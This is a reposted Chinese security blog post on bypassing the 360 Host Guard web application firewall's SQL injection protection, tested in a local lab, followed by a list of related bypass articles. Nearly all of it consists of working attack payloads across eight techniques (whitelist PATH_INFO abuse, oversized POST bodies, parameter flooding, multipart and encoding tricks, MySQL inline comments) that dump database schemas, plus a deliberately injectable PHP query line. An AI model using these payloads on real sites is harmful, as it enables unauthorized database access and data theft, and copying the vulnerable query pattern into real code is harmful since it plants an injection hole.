15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。
从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的安装包,就当做是一个纪念版吧。
这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。
0x01 环境搭建
360 主机卫士官网:
http://zhuji.360.cn
软件版本:360 主机卫士 Apache 纪念版
测试环境:phpStudy
本地构造 SQL 注入点:
$id=$_REQUEST['id'];$query = "SELECT * FROM admin WHERE id = $id ";
0x02 WAF 测试
因 zhuji.360.cn 站点已关闭,拦截界面为空白,抓包先放一张拦截图:
姿势一:网站后台白名单
在 360 主机卫士客户端设置中存在默认网站后台白名单,如图:
利用 PHP 中的 PATH_INFO 问题,随便挑选一个白名单加在后面,可成功 bypass。
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势二:静态资源
当文件后缀名为 js、jpg、png 等静态资源后缀请求,类似白名单机制,waf 为了检测效率,直接略过这样一些静态资源文件名后缀的请求。
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势三:缓冲区溢出
当 Post 大包时,WAF 在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接 Bypass,如果正常用户上传一些比较大的文件,WAF 每个都检测的话,性能就会被耗光。
基于这些考虑,POST 大包溢出的思路可成功 Bypass。
访问下面的地址:
/test.php
POST数据如下:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
姿势四:uri 参数溢出
这种溢出的形式,我称它为 uri 参数溢出。比如某 WAF,默认情况下只能获取前 100 个参数进行检测,当提交第 101 个参数时,那么,将无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御。
经测试,当提交的参数个数超过 97 个,可进行 union select 查询,再增加对关键字 from 的绕过,可成功 Bypass。
访问地址如下:
http://192.168.204.128/test.php
POST书籍如下:
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA
姿势五:GET+POST
一个历史久远的逻辑问题了,当同时提交 GET、POST 请求时,进入 POST 逻辑,而忽略了 GET 请求的有害参数输入,可轻易 Bypass。
访问如下 URL:
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST数据如下:
aaa
姿势六:multipart/form-data 格式
将 Post、Get 数据包转为上传 multipart/form-data 格式数据包,利用协议解析的差异,从而绕过 SQL 防御。
------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--
如果转换数据包进行绕过呢?
首先,新建一个 html 页面:
<html><head></head><body><form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"><input type="text" name="id"><input type="submit"></form></body></html>
然后,在浏览器打开并在输入框中输入参数,抓包发送到 Repeater,进一步构造 Payload
姿势七:编码绕过
客户端对 Payload 进行编码,服务端能够自动进行解码,这时候就考验 WAF 的编码解码能力了,如果 WAF 不能进行有效解码还原攻击向量,可能导致绕过,
常见编码如 URL 编码、unicode 编码(IIS)、宽字节编码等。
这个地方虽然 URL 编码也能绕过获取数据,主要是因为 WAF 对 POST 的防御规则太过于松散,union select 随便绕,select from 用 %0a 就可以解决,
主要分享一下编码绕过的思路。
/test.php?id=1
POST数据如下:
id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /
姿势八:%0a + 内联注释
利用 Mysql 数据库的一些特性,绕过 WAF 的防御规则,最终在数据库中成功执行了 SQL,获取数据。
http://192.168.204.128/test.php
POST数据如下:
id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA
0x03 自动化 Bypass
当测试出绕过 WAF SQL 注入防御的技巧后,可通过编写 tamper 脚本实现自动化注入,
以姿势八:%0a+内联注释为例,主要是针对 union select from 等关键字替换,Payload 中的部分关键字可能会被 waf 拦截,需要一步步调试,测试,总结规律。
tamper 脚本:
加载 tamper 脚本,可成功获取数据
这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级 SQL 注入工具,利用这边提供的注入绕过模块,
结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。
利用前面的关键字符进行替换,自动化注入获取数据库数据:
0x04 END
分享了几种有意思的绕过思路,主要利用了 WAF 层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。
转载于:https://www.cnblogs.com/bmjoker/p/9087924.html
15. Bypass 360主机卫士SQL注入防御(多姿势)相关推荐
- Bypass 360主机卫士SQL注入防御(附tamper脚本)
0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...
- 360网站卫士SQL注入绕过案例一个
不要以为用了360就可以高枕无忧,直接在netcraft的site_report中找到源站服务器IP,直接SQL脱裤,甚至可获取服务器权限. 存在漏洞的网站: 手工测试存在注入点: 但是网站有360保 ...
- bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
- bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势) | CN-SEC 中文网
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的 a.白名单 b.绕过union select或se ...
- 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- 华众6.5虚拟主机管理系统SQL注入漏…
华众6.5虚拟主机管理系统SQL注入漏洞利用 本篇文章来源于 黑基网-中国最大的网络安全站点 原文链接:http://www.hackbase.com/tech/2012-01-17/65830.ht ...
- linux系统安装文网卫士,360主机卫士 Linux 版本 安装
主机卫士 Linux 版本 用户使用手册 1.软件安装 1.1 必要环境 1)curl (通过 yum 戒者 apt-get 安装) 服务器版操作系统默认已经安装了 curl,如果没有请自行安装 ce ...
- Bypass安全狗之SQL注入
前言 该文章只进行技术分享与探讨,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关. 一.原理 /*!*/叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高 ...
- sql注入100种姿势过waf(二):过安全狗
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395 最新版 数据库是mysql ...
最新文章
- UFLDL:稀疏自编码器
- ML之RS:基于用户的CF+LFM实现的推荐系统(基于相关度较高的用户实现电影推荐)
- 【数据结构与算法】之深入解析“消除游戏”的求解思路与算法示例
- 【WebRTC专场】WebRTC的下个10年,又会有怎样的惊喜?
- 很多文章是在下转载贴在此处,是为了自己以后遇到类似问题一时想不起来
- java abstract类和abstract方法
- hibench测试出现问题--zookeeper
- 产品经理为什么越来越不值钱?不懂数据,只能尴尬退场
- iOS Json解析框架之MJExtension使用详解
- 用c语言实现数据结构算法将两个有序链表并为一个有序链表的算法,,(完整版)数据结构-习题集答案-(C语言版严蔚敏)...
- Jenkins系列二通过Deploy war/ear to a container方式部署maven项目,maven聚合项目到Tomcat
- 合并基因表达水平(merge gene expression levels, FPKM)
- Cordova - 彻底搞定安卓中的微信支付插件!
- 用electron实现播放flash小游戏
- C++实现 酒店管理系统
- uhs3内存卡有哪些_三分钟教你看懂存储卡标识
- 软件测试技术课后习题:第4章白盒测试-广东高等教育出版社,主编杨胜利
- rand()函数的用法
- 商场导航反向寻车方案及造价分析
- 搭建一个完整的实时日志统计平台